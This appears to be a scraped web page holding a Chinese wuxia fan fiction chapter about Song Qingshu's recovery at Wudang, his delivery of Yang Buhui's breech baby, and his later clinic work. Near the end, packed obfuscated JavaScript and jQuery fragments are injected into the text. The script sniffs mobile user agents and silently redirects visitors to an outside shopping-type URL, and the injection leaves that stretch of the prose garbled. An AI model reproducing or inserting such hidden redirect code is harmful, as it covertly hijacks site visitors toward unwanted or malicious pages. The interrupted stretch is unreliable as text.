这一日，天气难得放晴，深秋的阳光有了些许暖意，透过廊檐，在地上画出明亮的光斑。宋青书被莫声谷半劝半扶地带到后山一处向阳的缓坡上坐着，身下垫着厚厚的褥子，腿上盖着薄毯。莫声谷本意是让他散散心，看看山色，自己则在稍远处演练一套新近琢磨的剑法，剑气破空之声清越，身形矫健。
可宋青书只是木然地望着远处云海翻腾、山峦叠翠的壮阔景象，眼神却没有焦距。那勃勃生机，那灵动剑光，仿佛都与他隔着一层厚厚的、透明的障壁，他能看见，却丝毫感受不到。与之对比鲜明的，是自己这具坐在阳光下依旧感到寒意、连深呼吸都会引发咳嗽的残破身体。一股熟悉的、令人窒息的自我厌弃涌上心头，他下意识地蜷了蜷手指，低下头，又是一阵压抑的轻嗽。
“青书。”
温和而略显低沉的声音在身旁响起。宋青书微惊，抬眼看去，只见俞岱岩不知何时坐着轮椅，被一名弟子推了过来。阳光照在他脸上，那张曾经因重伤而黯淡多年的面容，如今虽仍有沧桑痕迹，却目光湛然，神色平和。
“三师叔。”宋青书低声唤道，想要起身行礼，却被俞岱岩摆手制止。
“就坐着，晒晒太阳挺好。”俞岱岩让弟子将轮椅停在宋青书身侧不远处，示意弟子退下。殷梨亭见俞岱岩来了，也收了剑，走过来笑着打了招呼，见俞岱岩似有话对宋青书说，便识趣地走到另一边去查看弟子们练功。
缓坡上只剩下两人，和煦的阳光，微凉的山风，以及远处隐约的松涛。
俞岱岩没有立刻说话，只是也静静地望着远山，过了好一会儿，才缓缓开口，声音不高，却字字清晰：“这山，这云，我躺在床上一动不能动的那许多年，日日想着，却看不到。”
宋青书指尖微微一颤。
俞岱岩转过头，目光平静地落在宋青书苍白消瘦的侧脸上：“后来，是你回来了。带着那……稀奇却有用的‘念力’。”他顿了顿，似乎回忆了一下，“我记得，你第一次试着帮我疏通那淤塞坏死多年的经脉时，手都在抖，额头全是汗。我说算了，太耗心神。你却不肯，说‘三师叔，让我再试一次’。”
“还有你不顾自身危险，硬是去福建那里给我带来了冰魄银丝和冰魄银片。”
宋青书喉头一哽，那段记忆猛然清晰起来。那是他重生后，怀着满腔弥补的急切与惶恐，发现自己的念力竟对俞岱岩的伤势有微弱效用后，便不顾自身根基未稳，一次次尝试。每一次都耗尽心力，头晕眼花，甚至呕出血丝，可看到俞岱岩腿脚那微不可察的一点知觉恢复，他便觉得一切都值。那时的他，至少……还有用。
“一点一点，像蚂蚁啃骨头。”俞岱岩继续说着，语气里带着追忆的感慨，“从毫无知觉，到能感到针扎似的痛，到脚趾能动，到借助外力勉强站起……再到如今，我能自己摇着这轮椅，来看这山，这云。”
他的目光重新投向远方，那里云卷云舒，苍鹰盘旋。
“青书，我知道你在想什么。”俞岱岩的语气忽然变得格外沉稳有力，他转回头，目光灼灼，不容宋青书躲避，“你觉得你没了那念力，身子又成了这样，往后便是个废人，无用之人，活着只是拖累，对不对？”
“又没有武功，还占着三代首徒的位置……”
宋青书被他直接点破心事，身体僵住，嘴唇动了动，却发不出声音，只能仓皇地垂下眼帘，手指无意识地揪紧了腿上的薄毯，指节泛白。
“你看，”俞岱岩却轻轻叹了口气，那叹息里没有责备，只有深切的疼惜与了然，“你总是这样。眼睛只盯着自己失去了什么，做不到什么，却从不回头看看，你已经做到了什么。”
他抬起一只手，轻轻拍了拍自己如今已能有些许知觉、支撑他坐在轮椅上的腿。
“你让我，俞岱岩，一个被医生断定终身残废、要在床上躺到死的人，重新站了起来。哪怕只是站着，哪怕离不开这轮椅，但对我来说，那就是从地狱回到了人间。”他的声音微微提高，带着一种毋庸置疑的力度，“这是你做到的。真真切切，谁也无法否认，谁也无法抹杀。”
宋青书猛地抬头，怔怔地望着俞岱岩，眼圈瞬间红了。
“所以，青书，”俞岱岩放缓了语气，像一位真正的长辈在谆谆告诫迷途的孩子，“别总去想你那念力还在不在，身子几时能恢复如初，还能不能去救谁、帮谁。那些都是往后的事，老天爷才知道。咱们就想想眼前，想想已经发生的事。”
他微微前倾了身体，目光更加恳切：“你救了我。这就够了。这就是你宋青书做下的、天大的好事。凭这一点，你就绝不是无用之人，绝不是武当的拖累。”
“你还救了很多其他的人，他们都对你心存感激。”
山风拂过，带着松针的清香。阳光暖暖地照在身上，宋青书却觉得眼眶发热，视线迅速模糊起来。三师叔的话，像一道温和却坚韧的光，试图撬开他心中那块名为“无用”的巨石。
“我们……”俞岱岩看着他蓄满泪水的眼睛，声音越发柔和，却也更显郑重，“你太师父，你爹，你二师叔、四师叔、六师叔……还有你七叔。我们看着你现在这样子，心疼，远胜过其他任何情绪。我们不在乎你还能不能有通天彻地的本事，只在乎你能不能好好活着，心里别那么苦，别总是拿刀子在剐自己。”
他伸出手，似乎想拍拍宋青书的肩膀，手伸到一半，又停住了，只重重地按了一下轮椅的扶手。
“对自己，别太苛责了。你已经……做得很好了。”
最后几个字，俞岱岩说得极轻，却像带着千钧重量，沉沉地落在宋青书心头。
泪水终于冲破了堤防，汹涌而出。宋青书没有发出哭声，只是任由眼泪疯狂流淌，冲刷着苍白的脸颊。他透过朦胧的泪眼，看着俞岱岩平和而坚定的面容，看着远处殷梨亭关切望过来的身影，看着阳光下山峦亘古的轮廓……
胸腔里那惯常的滞闷和想要咳嗽的冲动，似乎被这汹涌的泪水冲刷得淡了一些。取而代之的，是一种陌生的、微微发胀的酸涩暖意。
他救了三师叔。
这件事，他做到了。
也许……他并非真的一无是处？也许……他还可以是……有一点点用的？
这个念头细微得像风中的蛛丝，却顽强地钻进了他被黑暗和否定充斥的心田，颤巍巍地，亮起了一星极其微弱的、却真实存在的光点。
他依旧在流泪，但揪着薄毯的手指，却不知不觉，松开了一点。
俞岱岩那番话，像一粒被深秋山风偶然吹入石缝的种子，在宋青书荒芜的心田里，极其缓慢地、几乎不为人察觉地，开始尝试扎根。他依然苍白，依然虚弱，咳疾时好时坏，面对莫声谷时那份复杂的僵硬与无措也未曾消减。但偶尔，在夜深人静，被噩梦或咳嗽惊醒后，怔怔望着帐顶黑暗时，那句“你救了我”会悄然浮现，带着三师叔手掌按在轮椅上的力度，和他眼中不容错辨的真诚。
“救了他……”宋青书会在心里默念，指尖无意识地捻着被角。这认知带来一丝微弱的暖意，像雪地里呵出的一口白气，瞬间即逝，却真切存在过。他开始不那么抗拒殷梨亭扶他散步的提议，偶尔，目光会落在远处练功的弟子们身上，不再是全然的空洞，而是多了一丝极淡的、连自己都未察觉的向往。
然而，根深蒂固的“无用”感与对未来的茫然，仍如跗骨之蛆，那点暖意尚不足以融化坚冰。转折的发生，往往在最意想不到的时刻。
这一日，武当山上的平静被一阵突如其来的慌乱打破。殷梨亭的院落里，人声嘈杂，脚步纷乱，压抑的痛呼与产婆焦急的呼喊隐约传来——杨不悔要生了。
这本是喜事。可随着时间推移，气氛却越来越凝重。从房中端出的热水染上了刺目的鲜红，产婆慌慌张张地出来，对着急得团团转、脸色煞白的殷梨亭颤声道：“六、六侠……夫人她……胎位怕是有些不正，折腾了这许久，孩子……孩子先露了脚！产道已开，这、这可是要命的凶险啊！”
“脚先出来？”殷梨亭如遭雷击，身形晃了晃，被一旁的张松溪一把扶住。俞莲舟脸色铁青，宋远桥急得直搓手，连闻讯赶来的张三丰，眉头也深深锁起。他们武功盖世，此刻面对妇人生产这等生死大险，却是有力无处使，束手无策。山下请来的稳婆已是附近最好的，此刻也只会念佛。
血腥气混合着焦灼的气息弥漫在院子里，杨不悔的痛呼渐渐变得微弱，却更令人心胆俱裂。殷梨亭双目赤红，几欲冲进产房，被众人死死拦住。
就在这片令人窒息的绝望中，一直默默站在廊下阴影里的宋青书，忽然抬起了头。
他的脸色比平日更白，嘴唇紧抿，目光却不再涣散，而是死死盯着那扇紧闭的、仿佛隔绝了生死的房门。耳中充斥着产婆无措的念叨、六叔痛苦的喘息、还有太师父低沉凝重的叹息……
一个念头，如同暗夜中骤然划过的闪电，劈开他混沌的脑海：
医术。
没有念力辅助的医术也可以救人。
杨不悔痛苦的呻吟像细针，一下下扎着他的耳膜。六叔绝望的眼神灼烧着他的良心。
他还能做什么？这副病骨，这点残存的、连自己都不敢确信的记忆……
可如果……如果试都不试……
宋青书闭了闭眼，再睁开时，眼底那层惯有的灰败与茫然竟褪去了些许，取而代之的是一种破釜沉舟的决绝，混杂着深切的恐惧——不是怕自己再次失败或担责，而是怕来不及。
他忽然动了。
动作并不快，甚至因为久病而有些虚浮，却异常坚定。他拨开身前一个端着血水、惊慌失措的丫鬟，在众人惊愕的目光中，径直朝着那扇紧闭的产房房门走去。
“青书？”宋远桥最先反应过来，惊疑不定地唤道。
宋青书脚步未停，手已搭上了门扉。
“青书，你做什么？里面……”俞莲舟沉声喝问。
宋青书回过头，目光快速扫过父亲、诸位师叔，最后落在殷梨亭那张惨白失神、满是泪痕的脸上。他的嘴唇动了动，声音嘶哑，却异常清晰：
“让我试试。”
没有解释，没有保证，只有这三个字。然后，他不等众人反应，深吸一口气，猛地推开了房门。
浓重的血腥气扑面而来。房内光线昏暗，人影惶乱。杨不悔躺在榻上，汗湿的头发粘在惨白的脸颊，气息奄奄，眼神都已有些涣散。产婆和几个帮忙的妇人围在一旁，俱是满脸惊恐，束手无策。
“出去，只留一个。”宋青书对那几个妇人道，声音不高，却带着一种不容置疑的冷硬。
产婆呆住：“你、你是……”
“我是武当宋青书。”他打断她，目光落在杨不悔身上，语气急促却沉稳，“想救她，就听我的。所有人都出去，留一个手脚稳的帮我递热水、布巾。”
他的目光太过慑人，那是一种濒死之人抓住最后一根稻草般的专注与凌厉。产婆被他镇住，又见门外张三丰等人并未阻拦，反而以目光示意，忙不迭地带着其他人退了出去，只留下一个还算镇定的中年仆妇。
宋青书快步走到床前，甚至顾不上避嫌，俯身仔细查看。情况果然凶险至极，胎脚已出，产道却因长时间折磨而有些僵硬肿胀，孩子卡在那里，进退不得，母亲已力竭气微。
时间紧迫，容不得半分犹豫。
他挽起袖子，用烈酒飞快地净了手，对那仆妇急促吩咐：“按住夫人肩膀，无论发生什么，绝不能让她乱动！” 仆妇连忙照做。
宋青书凝神，摒弃所有杂念，将脑海中那些零碎、甚至有些诡异的接生手法飞快过了一遍。没有念力辅助感知胎儿具体位置和母亲体内细微变化，他只能凭借触觉、经验和一种近乎本能的判断。
他深吸一口气，将手探了过去。动作极其小心，却又带着一种稳准的力道。他的手指冰凉，触到那温热的肌肤时，杨不悔微弱地呻吟了一声。
“不悔婶婶，忍一忍。”宋青书低声道，不知是在安慰她，还是在命令自己，“为了孩子，为了六叔。”
他回忆着偶然在程青娘的医书上看到的、关于胎位倒转的“挪移”手法，那原本需要极高明的内力或念力配合，以巧劲在不伤及母体的情况下调整胎儿方位。如今他内力几近于无，更无念力，只剩下一股豁出去的狠劲和对人体结构的了解。
汗水瞬间湿透了他的鬓发和后背。他全神贯注，指尖感受着那微小生命的轮廓和卡住的位置，手腕以极其精细的角度和力度，开始尝试推送、旋转。那不仅仅是力气活，更像是在完成一件容不得半点差错的微雕。
推一点，停一下，感受反应，调整方向。再推一点……
他额上青筋迸起，脸色由白转青，牙关紧咬，仿佛承受着巨大的痛苦。每一次细微的挪动，都耗尽他此刻本就孱弱的体力与心神。低咳被他死死压在喉咙里，憋得胸口阵阵发闷，眼前阵阵发黑。
时间仿佛被拉长了，每一息都像一个世纪。门外的人听不到里面动静，死寂得可怕，殷梨亭几乎要瘫倒在地，被张松溪和俞莲舟一左一右架着。张三丰负手而立，目光沉沉地盯着房门，周身气息凝然。
不知过了多久，也许只是一盏茶，也许有半个时辰。
就在宋青书觉得自己快要撑不住，指尖开始不受控制地颤抖时，他手下忽然感觉到一种微妙的、顺畅的变化。
成了！
他精神陡然一振，用尽最后一丝力气，配合着杨不悔本能的一次微弱宫缩，沉声对那仆妇喝道：“用力！帮夫人往下推！”
仆妇如梦初醒，连忙照做。
紧接着，一声几不可闻的、滑脱般的轻响之后——
“哇——！”
一声嘹亮而愤怒的婴儿啼哭，骤然划破了产房内令人窒息的死寂，也穿透了房门，响彻在院落之中！
生了！
是个儿子！
那仆妇惊喜交加，手忙脚乱地去处理新生儿。宋青书却像是被抽空了所有骨头，一直紧绷如铁的身体骤然松垮下来。他踉跄着后退一步，眼前金星乱冒，耳中嗡嗡作响，所有的声音——婴儿的啼哭、仆妇的欢喜、门外隐约传来的激动喧哗——都变得遥远而不真实。
他做到了……
用这双曾经染血、如今却救了人的手……
心头那块巨石仿佛被这嘹亮的哭声震开了一道巨大的裂缝，一直压抑着的、混杂着释然、疲惫、以及某种难以言喻的激荡的情绪轰然上涌，冲得他喉头腥甜。
他想看看那孩子，想确认杨不悔是否安好，想对门外焦急等待的六叔说一声“母子平安”……
可所有的力气都在方才那番生死搏斗中耗尽，连支撑自己站立的意志也随之溃散。黑暗如同潮水般从四面八方涌来，迅速吞噬了他的意识。
在彻底失去知觉、向前软软倒下的前一瞬，他似乎感觉到一阵疾风掠到身边，一双坚实有力的手臂稳稳地、及时地接住了他下坠的身体。
熟悉的、带着汗味和皂角清气的气息将他包裹。
模糊的视线边缘，是莫声谷那张写满了震惊、后怕、以及某种更深沉东西的脸庞，还有他微微颤抖的、紧抱着自己的手臂。
宋青书想说什么，嘴唇翕动了一下，却发不出任何声音，只在彻底陷入黑暗前，极轻微地、几不可察地，在那温暖的怀抱里，放松了最后一丝紧绷。
杨不悔产子那日的惊心动魄与最终响彻云霄的婴儿啼哭，如同投入武当山静潭的一块巨石，激起的波澜久久不息。
那不仅仅是殷梨亭小院里的新生喜悦，更在无形中，松动了许多人心头经年累月积下的沉珂。
宋青书是在昏睡了一天一夜后才醒转的。醒来时，人已回到了自己房中，窗外天色微明，空气中飘散着熟悉的药香，还有一丝极淡的、新生婴儿特有的奶香气，不知是从哪个方向随风送来。
他浑身骨头像是散了架，又酸又软，指尖残留着昨日竭力操控时的细微颤抖，可心头却奇异般地松快。那长久以来堵在胸口、让他呼吸艰难的沉甸甸的巨石，仿佛被那声嘹亮的啼哭震开了一道宽阔的裂隙，虽然尚未完全搬开，却有光透入，有清风吹过。
他靠在床头，怔怔地望着自己苍白却不再死气沉沉的手掌。就是这双手，昨日……救了两条性命。
房门被轻轻推开，殷梨亭端着一碗热气腾腾的参汤走了进来。不过一日光景，这位素来温润的六叔仿佛经历了冰火两重天，眼下一片青黑，胡茬冒出，面容憔悴，可那双眼睛里，却盛满了劫后余生的、几乎要满溢出来的感激与一种近乎虔诚的庆幸。
“青书，你醒了！”殷梨亭快步走到床前，声音有些发颤，他将参汤放在一旁，忽然撩起衣袍下摆，竟是要跪下去！
“六叔！不可！”宋青书大惊失色，也不知哪来的力气，挣扎着就要起身去扶，却牵动浑身酸软，一阵头晕目眩，险些栽下床。
殷梨亭到底没跪成，连忙上前扶住他，将他按回枕上，自己也在床边坐下，眼圈却已红了。“青书……六叔……六叔谢谢你……谢谢你救了你六婶，救了孩子，救了……救了六叔这条命啊！”他紧紧握住宋青书冰凉的手，力道大得几乎要捏碎他的骨头，声音哽咽，“你是不知道……当时……当时我看着那盆盆血水端出来，听着里面没了声响……我、我……”他说不下去，只是用力摇头，泪水滚落下来，“要是你六婶真有个什么……我……我都不知道自己往后……还能不能活得下去……”
宋青书听着，看着他六叔从未在人前显露过的、如此脆弱又如此真挚的后怕与悲痛，心头那点刚刚冒头的、关于“自己或许还有用”的微末认知，忽然变得无比真实而沉重。他反手握住殷梨亭颤抖的手，声音虽弱，却清晰：“六叔，别这么说。是六婶和孩子福大命大。”他顿了顿，抬眼直视着殷梨亭含泪的眼睛，轻声却坚定地道，“而且……六婶也救了我。”
殷梨亭一怔，不解地看着他。
宋青书苍白的脸上浮现一丝极淡的、近乎释然的苦笑：“让我知道……我这副样子，或许……还能做点别的事。不只是……拖累和愧悔。”
这话说得平淡，却像一根细针，轻轻刺破了殷梨亭心中淤积的某些情绪。他看着眼前这个自己看着长大、曾经意气风发、如今却消瘦苍白得惊人的师侄，想起他昨日冲进产房时那份决绝与专注，想起他脱力倒下时那破碎的模样，心中五味杂陈，疼惜、感激、愧疚、欣慰……种种情绪翻涌，最终只化作更紧的握手，和一声长长的、混杂着无尽感慨的叹息。
“青书……好孩子……”殷梨亭抹了把脸，将那碗参汤端起来，“来，先喝了。你六婶和孩子都好，等你精神好些，就去看看。那小子，嗓门可真亮，像你六婶。”
宋青书顺从地喝下参汤，温热的液体滑入喉管，暖意渐渐蔓延到四肢百骸。他忽然想起昏迷前最后感知到的那个怀抱，和那张满是复杂情绪的脸。七叔……他后来怎么样了？
这个念头刚起，就被他强行压了下去。现在，还不是想这些的时候。
又过了几日，宋青书身体稍复，能下床走动了。他先去看了杨不悔和孩子。杨不悔虽仍虚弱，但精神尚好，看着摇篮里安睡的婴儿，脸上是初为人母的温柔光辉。她拉着宋青书的手，亦是谢了又谢，眼中同样有泪光闪烁。那小小的、红扑扑的婴儿，睡得正酣，浑然不知自己出生时曾经历怎样一番生死劫难。
看着这安宁的一幕，宋青书心中那份“或许还能做点事”的念头，越发清晰、坚定起来。
这一日清晨，武当诸侠连同张三丰，都聚在了真武大殿侧旁的静室中。宋青书穿戴整齐，虽仍显清瘦，但脊背挺直，目光沉静，不再有往日那种恍惚与逃避。他走到正中，对着上首的张三丰，以及两旁的父亲和诸位师叔，深深一揖。
“太师父，爹，各位师叔。”他开口，声音不高，却带着一种深思熟虑后的平稳，“青书不孝，累诸位长辈忧心挂怀至今。如今……青书想向诸位辞行，下山去了。”
此言一出，室内空气微微一凝。宋远桥下意识地踏前一步：“青书，你身子尚未大好，下山去何处？做什么？”
“爹，”宋青书看向父亲，眼中带着恳切，却无动摇，“我想……去陪伴母亲。这几年，我竟从未好好地关心她。也还想……去江湖上走走看看。”他没有说要去“治病救人”，那目标对此刻的他来说，或许仍显得太大、太虚，但他心中的确有了模糊的方向。
“江湖险恶，你如今……”俞莲舟皱眉，话未说完，但担忧之意显而易见。
“青书明白。”宋青书低声道，“我会小心。也会……试着用我还能做到的方式，去……做点事情。”他没有明说，但殿中诸人，尤其是经历过杨不悔生产一事的，都隐约明白了他所指。
张三丰一直静静听着，此刻缓缓开口：“青书，你可是想清楚了？”
宋青书抬头，迎上太师父那仿佛能洞悉一切却又包容万物的目光，郑重地点了点头：“是，太师父。青书想清楚了。有些路，总要自己走过，心结……或许才能真的解开。武当永远是青书的家，青书不敢或忘。只是如今……青书想先出去看看。”
他的目光扫过父亲担忧的脸，二叔严肃的眼，三叔的欣慰，四叔沉思的神情，六叔温和的鼓励，还有……站在稍远处、一直沉默的七叔。莫声谷只是看着他，嘴唇紧抿，眼神深不见底，没有反对，也没有赞同，只有一片沉沉的静默。
宋青书心头微涩，移开了目光。
就在这时，宋远桥忽然上前几步，走到张三丰面前，撩衣跪倒。
“师父！”他声音带着一种压抑已久的沉重与决绝，“弟子……弟子想辞去掌门之职！”
此言一出，满室皆惊。连宋青书都愕然看向父亲。
“大师兄！”“大哥！”俞莲舟、张松溪等人纷纷出声。
张三丰目光微动，看着跪在面前的宋远桥，脸上并无太多意外，只缓声道：“远桥，你执掌武当多年，克己奉公，并无大过。何以突然请辞？”
宋远桥抬起头，这位素来端严持重、将武当门楣看得比天还大的掌门，此刻眼中竟有泪光，他看向一旁同样震惊的儿子，又转回目光，对着张三丰，一字一句道：“师父明鉴。弟子这些年，兢业于门派事务，自问对得起武当，对得起师父教诲。可……弟子唯独，对不起自己的儿子。”
他的声音开始颤抖：“青书幼时，我便对他寄予厚望，严加管教，却疏于陪伴，更少去体察他心中所思所想。待他稍长，我又忙于俗务，以为他天资卓绝，便该事事周全，却忘了他也只是个少年人，会迷茫，我只知以门规责他，以言语刺他，何曾真正静下心来，听他说一句，以一个父亲的身份？”
泪水终于滚落，宋远桥泣道：“直到此次青书重伤归来，看着他奄奄一息，看着他被心魔折磨，看着他明明……明明心中有万千苦楚却一个字不肯说，弟子才恍然惊觉，我这个父亲，做得何等失败！我教出了武当首徒，却差点失去了自己的儿子！”
他重重叩首：“弟子深知，武当掌门责任重大，非才德兼备者不能胜任。二师弟莲舟，沉稳干练，胸怀磊落，处事公允，远胜于我。由他接任掌门，必能将武当发扬光大。弟子恳请师父允准，辞去掌门之责。弟子并非要脱离武当，武当永远是弟子的根。弟子只是……只是想卸下重担，往后余生，能多些时间，陪陪青书。他下山，弟子便随他下山；他行医，弟子便为他护持。他心中的结，弟子无法替他解开，但至少……能陪着他，看着他，不再让他一个人扛着。”
一番话，说得情真意切，悔恨与父爱交织，令闻者动容。俞莲舟等人面露不忍，张松溪更是轻声叹息。宋青书早已泪流满面，他从未想过，在父亲那端严持重、甚至有些古板的面容下，竟藏着如此深重的自责与如此深沉却疏于表达的爱。
张三丰静默良久，目光在跪地泣诉的大弟子和一旁泪流不止的徒孙身上来回逡巡。殿内一片寂静，只有宋远桥压抑的抽泣声。
最终，老人缓缓抬手，虚扶一下：“起来吧，远桥。”
宋远桥抬头，泪眼模糊地望着师父。
“你的心思，为师明白了。”张三丰的声音带着沧桑的温和，“这些年来，你为武当，确已尽心竭力。如今你想将担子交予莲舟，多陪伴青书，此乃人伦常情，亦是你的选择。莲舟，”他看向俞莲舟。
俞莲舟立刻肃然躬身：“师父。”
“你可愿接过这掌门之责，护持武当？”
俞莲舟没有丝毫犹豫，沉声道：“弟子俞莲舟，必竭尽全力，不负师父与大师兄所托，不负武当上下！”
张三丰点了点头：“好。自即日起，武当掌门之位，由俞莲舟接任。远桥，”他又看向宋远桥，眼神中含着深意，“你永远是我武当弟子。往后，便依你本心而行吧。”
“谢师父成全！”宋远桥再次叩首，这才起身，退到一旁，与泪眼朦胧的宋青书目光相接，父子二人，隔着数步之遥，却仿佛第一次真正看清了彼此眼中深藏的情感。
事情便这般定了下来。俞莲舟接任掌门的仪式择日举行，而宋青书下山的行期，也定了下来。
临行前夜，宋青书独自在房中收拾简单的行囊。门被轻轻敲响，他打开门，门外站着莫声谷。
两人对视片刻，一时无言。廊下的风灯将光影投在莫声谷脸上，明暗不定。
“七叔。”宋青书低声唤道。
莫声谷“嗯”了一声，走进来，将一个小布包放在桌上。“一些……你常吃的止咳丸。多备着些。”
“谢谢七叔。”宋青书垂眸。
又是一阵沉默。
“此去……保重。”莫声谷最终只吐出这四个字，声音干涩。
“我会的。”宋青书应道，顿了顿，抬起头，鼓起勇气看向莫声谷的眼睛，“七叔……也保重。”
莫声谷深深看了他一眼，那目光复杂难言，似有千言万语，最终却只是点了点头，转身离开了，背影在廊下灯光中拉得很长。
翌日，宋青书在父亲宋远桥的陪伴下，辞别太师父与诸位师叔，悄然下山。俞莲舟新任掌门，需料理诸多事务，张松溪、殷梨亭等人亦各有职司，只在山门前送别。莫声谷没有出现。
山下世界，果然与清修的山中不同。宋青书先去了母亲李桂风经营的药堂，那在武当山脚一处清幽的小镇上。
李桂风见丈夫和儿子一起回来，自然是喜不自胜。
之后，他们把小药堂，又加修葺，挂上了“回春堂”的匾额。起初，因他年轻，又带着病容，生意甚是清淡。他也不急，只是将铺子里里外外收拾得洁净整齐，药材分门别类，晚上研读医书，偶尔为附近穷苦人家免费看诊，开的方子也多是价廉有效之物。
渐渐地，有人发现这年轻郎中虽然沉默少言，但诊脉细心，下药精准，尤其对一些疑难杂症或外伤处理，常有出人意料却效果显著的法子。尤其是曾有个猎户被野兽所伤，伤口溃烂，高烧不退，别家大夫都已摇头，却被宋青书用一些古怪的草药外敷内服，配合奇特的清创手法，硬生生将人从鬼门关拉了回来。此事传开，“回春堂”和这位宋大夫的名声才渐渐响亮起来。
宋青书并不在意名声，他只是每日坐堂，看诊，抓药，研究病症。每当看到病患痛苦而来，舒展眉头而去，或是听到那一声真诚的“谢谢宋大夫”，他心头那份“或许还能做点事”的踏实感，便增添一分。咳疾依旧不时发作，但似乎不再那么令人绝望，成了他这副身体的一部分，提醒着他生命的脆弱，也提醒着他救治他人的意义。
宋远桥卸去了掌门重担，仿佛也卸下了一层厚重的铠甲，整个人变得平和许多。他并不干涉儿子行医，只是默默打理药铺杂务，照料宋青书的饮食起居，在他诊病忙碌时帮忙维持秩序，在他深夜研读医书时默默添上一盏灯。父子二人话依然不多，但那种彼此守护的宁静，却让小小的“回春堂”充满了暖意。
而武当山，也并未真正远离。每隔一段时日，俞莲舟、张松溪、殷梨亭，甚至……莫声谷，总会有人“恰好”下山办事，“顺路”来这小镇看看。有时带来山上的药材或特产，有时只是坐下喝杯茶，问问近况，偶尔也会隐在暗处，看着宋青书专注诊病的侧影，或是与宋远桥对坐闲谈时脸上那日渐平和的神采，然后悄然离去，留下一份无声的关切与守护。
这一日，春光明媚，“回春堂”外排队的病患比往日更多了些。宋青书刚刚送走一位腹痛的妇人，正低头写着脉案，忽听门外传来一阵急促的脚步声和惊惶的呼喊：
“宋大夫！宋大夫救命啊！我家娃娃吃错了东西，噎住了，脸都紫了！”
宋青书倏然站起，几步抢到门口。只见一个农妇抱着个约莫两三岁的孩童，孩子双眼翻白，小手无力地抓着喉咙，已发不出声音。
“快！抱进来！”宋青书声音冷静，迅速让开道路。
诊室内，他接过孩子，手法迅捷而稳定地采用了一种特殊的按压手法，几下之后，孩子“哇”地一声，吐出一枚枣核，随即大声哭了出来，脸色也渐渐回转。
农妇喜极而泣，抱着孩子就要下跪。宋青书连忙扶住，只温和道：“以后小心些，莫让孩子碰这些细小硬物。” 转身又去净手，准备看下一个病人。
就在他转身的刹那，目光无意间掠过街角。那里，一个戴着斗笠、身形挺拔的身影正静静站着，隔着熙攘的人群，朝这边望来。虽看不清面容，但那道目光，宋青书却觉得熟悉。
是七叔吗？
他心头微微一动，却未停步，只是继续走向自己的诊桌。阳光透过“回春堂”敞开的门扉，暖融融地照在他身上，也照在案头那摞厚厚的医书，和一只不知何时被谁悄然放在那里、还带着山间露水清香的野菊上。
门外，人群熙攘，生机勃勃。门内，药香弥漫，宁静安和。
日子在“回春堂”的药香与病患往来中，如溪水般平缓流过。春深夏浅，院角那株野茉莉开了又谢，空气里渐渐添了暑热黏湿的意味。宋青书的咳疾随着季节变换，时轻时重，但眉宇间那层挥之不去的郁色，终究是淡了许多。他依旧清瘦，穿着半旧青衫坐在诊桌后，目光落在腕间脉枕上时，是纯粹的专注与沉静。只是偶尔，在无人问诊的间隙，或是深夜整理医案时，他会停下笔，望着窗外沉沉的夜色，或是一灯如豆的光晕，怔忡片刻。那些时候，空茫会重新回到他眼底，仿佛透过眼前安宁的表象，望见了某些深埋的、依旧刺骨的东西。
宋 远桥将这一切细微的变化看在眼里。他如今褪去了掌门的威仪，更像一个寻常的、有些笨拙却无比尽心的父亲。他会默不作声地添上热茶，会在宋青书咳得厉害时，轻轻拍抚他的背脊，动作生疏，却带着不容错辨的疼惜。父子间依旧话不多，但那种沉默，不再是令人窒息的隔阂，而是一种彼此知晓、无需多言的陪伴。
武当诸侠依然时而来“顺路”看看。俞莲舟每次来，总会带来一些山上精制的丸散，说是“放着也是放着”。张松溪则会留下几本搜罗来的珍本医书，或是一些疑难杂症的记录，供宋青书参详。殷梨亭来得最勤，抱着他那日渐白胖的儿子，让小家伙咿咿呀呀地冲宋青书挥舞藕节似的手臂，仿佛在用最鲜活的生命力，驱散这医馆里挥之不去的药苦与病气。
唯独莫声谷，来的次数最少，也最沉默。他常常是黄昏时分出现，戴着斗笠，牵着他的马，风尘仆仆。有时只是站在街角，远远望一会儿“回春堂”里忙碌或静坐的身影；有时会走进来，放下一些山中猎得的野味、或是质地特殊的药材，粗声粗气地说一句“用得上”，便不再多言，也不久留，仿佛真的只是路过。宋青书在他面前，总是不自觉地挺直背脊，那份刻意的“淡”也会变得有些僵硬，垂着眼睫，低声说一句“谢谢七叔”。两人之间，隔着一道看不见的、由往事、愧疚、以及那日剖白后更复杂的情绪筑成的墙。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109890|195845||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
这一夜，闷热了数日的天终于憋不住了。先是远方传来隐隐的雷声，接着豆大的雨点噼里啪啦砸下来，顷刻间便成了倾盆之势。雨水冲刷着青石板街，激起迷蒙的水汽，也将“回春堂”内外隔绝成两个世界。病患早已散去，宋远桥在后院整理药材，前堂只点了一盏油灯，宋青书就着昏暗的光线，在修订一本关于南方瘴疠的医书笔记。雨声喧哗，反而衬得室内一种异样的寂静。
忽然，门板被急促地叩响，力道很大，混在雨声里也清晰可闻。
宋青书起身开门，挟着湿冷水汽冲进来的，正是莫声谷。他浑身湿透，头发贴在额前，雨水顺着棱角分明的下颌往下淌，脚下的青砖立刻洇开一片深色水迹。手里却紧紧护着一个油布包，丝毫未湿。
“七叔？”宋青书讶然，连忙侧身让人进来，“这么大的雨，您怎么……”
“路过。”莫声谷抹了把脸上的雨水，言简意赅，将油布包放在干燥的诊桌上，“山里采的几株老参，年份足，给你补气。”他的目光扫过宋青书单薄的衣衫和桌上摊开的医书，眉头几不可察地蹙了一下，“又熬夜？”
“只是整理些旧笔记。”宋青书避开他的视线，转身去拿布巾，“您先擦擦，我去烧点热水……”
“不用。”莫声谷接过布巾，胡乱擦了擦头和脸，动作有些粗鲁。他站在那里，高大的身躯带着湿漉漉的寒气，让原本就不算宽敞的前堂显得有些逼仄。雨声哗啦啦地响着，屋里一时无人说话，只有灯花偶尔爆开的轻微噼啪声。
